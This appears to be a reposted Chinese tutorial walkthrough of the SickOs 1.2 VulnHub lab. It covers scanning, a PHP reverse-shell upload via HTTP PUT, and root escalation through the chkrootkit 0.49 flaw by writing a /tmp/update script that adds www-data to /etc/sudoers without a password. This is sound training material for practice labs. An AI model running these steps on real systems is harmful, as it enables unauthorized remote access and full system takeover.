欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > SickOs 1.2靶机(超详细教学)

SickOs 1.2靶机(超详细教学)

2025/2/10 18:07:42 来源:https://blog.csdn.net/weixin_43433141/article/details/145529993  浏览:    关键词:SickOs 1.2靶机(超详细教学)

靶机地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

使用

arp-scan -l

查找靶机ip地址

靶机ip地址为192.168.55.146

攻击机的ip地址为192.168.55.129

二、进行端口扫描、目录枚举、指纹识别

1.端口扫描

nmap 192.168.55.146

发现靶机只有22和80端口

2.目录枚举

dirb http://192.168.55.146

3.指纹识别

常用命令:

nmap 192.168.55.146 -sV -sC -O --version-all

三、进入靶机网页进行信息收集

网页中没有功能点,没有其它的信息

四、反弹shell

我们回到刚刚的目录扫描中发现页面中有一个敏感目录:

http://192.168.55.146/test/

访问此url发现这是一个目录列表,还有一个版本信息

搜了一下lighttpd的漏洞,发现没有什么能够利用的

补充知识:

curl(Client URL)是一个用于传输数据的工具,它支持多种协议,包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP 等。其主要用途是通过指定的协议从服务器上获取数据或向服务器发送数据,而不需要用户手动进行复杂的网络交互操作。

这里使用curl检查目录test上可用的HTTP方法

curl -v -X OPTIONS http://192.168.55.146/test命令解释:
-v:即 --verbose,表示开启详细模式。使用该选项后,curl 会输出更多关于请求和响应的详细信息,包括请求头、响应头、传输过程等,有助于调试和了解请求的具体情况。
-X OPTIONS:-X 选项用于指定 HTTP 请求方法,这里指定的方法是 OPTIONS。OPTIONS 是一种 HTTP 请求方法,客户端使用它可以向服务器询问针对特定资源所支持的请求方法,或者服务器的一些通用功能。简单来说,客户端可以通过发送 OPTIONS 请求来了解服务器对于某个资源可以接受哪些操作(如 GET、POST、PUT 等)。当执行这个命令后,终端会输出详细的请求和响应信息

此处发现可以使用PUT上传文件

首先打开/usr/share/webshells/php/php-reverse-shell.php文件,这个是一个反弹shell的php文件,将其中的ip改为自己的攻击机ip,端口设置为443端口(8888之类的端口不能反弹,可能是防火墙不允许这种非常用端口)

进行文件上传:

curl --upload-file php-reverse-shell.php -v --url http://192.168.55.146/test/a.php -0 --http1.0此命令是将桌面上的反弹shell的文件上传到网站中并命名为a.php

在桌面中再开一个终端进行443端口的监听

nc -lvvp 443

开启监听后在网页中访问a.php文件

反弹shell成功

五、提权

使用命令开启交互式终端,可以看到回显信息:

python -c 'import pty; pty.spawn("/bin/bash")'

进行信息收集:

lsb_release -a

补充知识:

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另外, 由于使用者自己也可以设置计划任务,所以, Linux系统也提供了使用者控制计划任务的命令 :crontab 命令。

基于此我们可以查看计划任务:

ls -l /etc/cron*

chkrootkit 是一款在类 Unix 系统(包括 Kali Linux)中广泛使用的开源工具,主要用于检测系统是否被植入了 Rootkit

查看此工具的版本,并检查是否有漏洞

查看到是0.49版本

发现存在漏洞

将exp拷贝到桌面

根据漏洞可知,靶机中的文件 /tmp/update 将以 root 身份执行

进入tmp目录后发现没有update目录,我们创建一个update文件,然后在其中插入提权语句

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update命令解释:
chmod 777 /etc/sudoers:
chmod 是用于修改文件权限的命令。
777 表示赋予文件所有者、所属组和其他用户读、写、执行的所有权限。
/etc/sudoers 文件默认权限通常为 440,仅允许 root 用户读写,此步骤是为了后续能够向该文件写入内容。echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers:
echo 用于输出字符串。
"www-data ALL=NOPASSWD: ALL" 是 sudoers 文件的一条规则,意味着 www-data 用户在使用 sudo 执行命令时无需输入密码。
>> 是追加重定向符号,将 echo 输出的内容追加到 /etc/sudoers 文件的末尾。chmod 440 /etc/sudoers:
恢复 /etc/sudoers 文件的原始权限,即文件所有者和所属组有读权限,其他用户没有任何权限。这是为了保证文件的安全性,防止非授权用户对其进行修改。

继续执行:

chmod 777 /tmp/update
ls -la /etc/sudoers

可以执行两次ls -la /etc/sudoers命令,两次命令中间需要间隔2分钟左右,文件大小改变后说明文件执行,我们也就获得了root权限

文件大小改变后输入以下命令即可:

sudo -l
sudo su

提权成功!

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com